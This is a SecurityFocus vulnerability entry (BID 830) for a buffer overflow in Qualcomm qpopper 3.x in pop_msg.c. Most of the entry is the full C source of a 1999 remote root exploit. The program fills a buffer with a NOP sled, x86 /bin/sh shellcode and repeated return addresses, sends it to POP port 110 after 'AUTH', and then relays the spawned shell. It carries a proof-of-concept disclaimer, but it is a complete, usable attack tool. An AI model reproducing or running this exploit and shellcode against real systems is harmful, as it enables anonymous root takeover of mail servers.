source: http://www.securityfocus.com/bid/830/info

There is a buffer overflow vulnerability present in current (3.x) versions of Qualcomm popper daemon. These vulnerabilities are remotely exploitable and since the daemon runs as root, the host running qpopper can be completely compromised anonymously. The problem is in pop_msg.c, around line 68 and is the result of vsprintf() or sprintf() calls without bounds checking.

/*

 * Qpopper 3.0b remote exploit for x86 Linux (tested on RedHat/2.0.38)

 *

 * Dec 1999 by Mixter <mixter@newyorkoffice.com> / http://1337.tsx.org

 *

 * Exploits pop_msg buffer overflow to spawn a remote root shell.

 * This probably works with the old qpop2 code for bsd, solaris anyone?

 * 

 * WARNING: YOU ARE USING THIS SOFTWARE ON YOUR OWN RISK. THIS IS A

 * PROOF-OF-CONCEPT PROGRAM AND YOU TAKE FULL RESPONSIBILITY FOR WHAT YOU

 * DO WITH IT! DO NOT ABUSE THIS FOR ILLICIT PURPOSES!

 */



#include <stdio.h>

#include <string.h>

#include <unistd.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <errno.h>



#define NOP		0x90

#define LEN		1032

#define CODESTART	880

#define RET		0xbfffd655



/* x86 linux shellcode. this can be a simple execve to /bin/sh on all

   systems, but MUST NOT contain the characters 'x17' or 'x0c' because

   that would split the exploit code into separate arg buffers        */



char *shellcode =

"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab"

"\x89\xfa\x31\xc0\xab\xb0\x04\x04\x07\xcd\x80\x31\xc0\x89\xc3\x40\xcd\x80"

"\xe8\xd9\xff\xff\xff/bin/sh";



unsigned long resolve (char *);

void term (int, int);

unsigned long get_sp ();



int 

main (int argc, char **argv)

{

  char buffer[LEN];

  char *codeptr = shellcode;

  long retaddr = RET;

  int i, s;

  struct sockaddr_in sin;



  if (argc < 2)

    {

      printf ("usage: %s <host> [offset]\n", argv[0]);

      printf ("use offset -1 to try local esp\n");

      exit (0);

    }



  if (argc > 2)

    {

      if (atoi (argv[2]) == -1)

	{

	  /* 8000 = approx. byte offset to qpopper's top of stack

	     at the time it prints out the auth error message */

	  retaddr = get_sp () - 8000 - LEN;

	  printf ("Using local esp as ret address...\n");

	}

      retaddr += atoi (argv[2]);

    }



  for (i = 0; i < LEN; i++)

    *(buffer + i) = NOP;



  for (i = CODESTART + 2; i < LEN; i += 4)

    *(int *) &buffer[i] = retaddr;



  for (i = CODESTART; i < CODESTART + strlen (shellcode); i++)

    *(buffer + i) = *(codeptr++);



  buffer[0] = 'A';

  buffer[1] = 'U';

  buffer[2] = 'T';

  buffer[3] = 'H';

  buffer[4] = ' ';



  printf ("qpop 3.0 remote root exploit (linux) by Mixter\n");

  printf ("[return address: 0x%lx buffer size: %d code size: %d]\n",

	  retaddr, strlen (buffer), strlen (shellcode));



  fflush (0);



  sin.sin_family = AF_INET;

  sin.sin_port = htons (110);

  sin.sin_addr.s_addr = resolve (argv[1]);

  s = socket (AF_INET, SOCK_STREAM, 0);



  if (connect (s, (struct sockaddr *) &sin, sizeof (struct sockaddr)) < 0)

    {

      perror ("connect");

      exit (0);

    }



  switch (write (s, buffer, strlen (buffer)))

    {

    case 0:

    case -1:

      fprintf (stderr, "write error: %s\n", strerror (errno));

      break;

    default:

      break;

    }

  write (s, "\n\n", 1);

  term (s, 0);



  return 0;

}



unsigned long

resolve (char *host)

{

  struct hostent *he;

  struct sockaddr_in tmp;

  if (inet_addr (host) != -1)

    return (inet_addr (host));

  he = gethostbyname (host);

  if (he)

    memcpy ((caddr_t) & tmp.sin_addr.s_addr, he->h_addr, he->h_length);

  else

    {

      perror ("gethostbyname");

      exit (0);

    }

  return (tmp.sin_addr.s_addr);

}



unsigned long

get_sp (void)

{

  __asm__ ("movl %esp, %eax");

}



void

term (int p, int c)

{

  char buf[LEN];

  fd_set rfds;

  int i;



  while (1)

    {

      FD_ZERO (&rfds);

      FD_SET (p, &rfds);

      FD_SET (c, &rfds);

      if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1)

	return;

      if (FD_ISSET (c, &rfds))

	{

	  if ((i = read (c, buf, sizeof (buf))) < 1)

	    exit (0);

	  else

	    write (p, buf, i);

	}

      if (FD_ISSET (p, &rfds))

	{

	  if ((i = read (p, buf, sizeof (buf))) < 1)

	    exit (0);

	  else

	    write (c, buf, i);

	}

    }

}

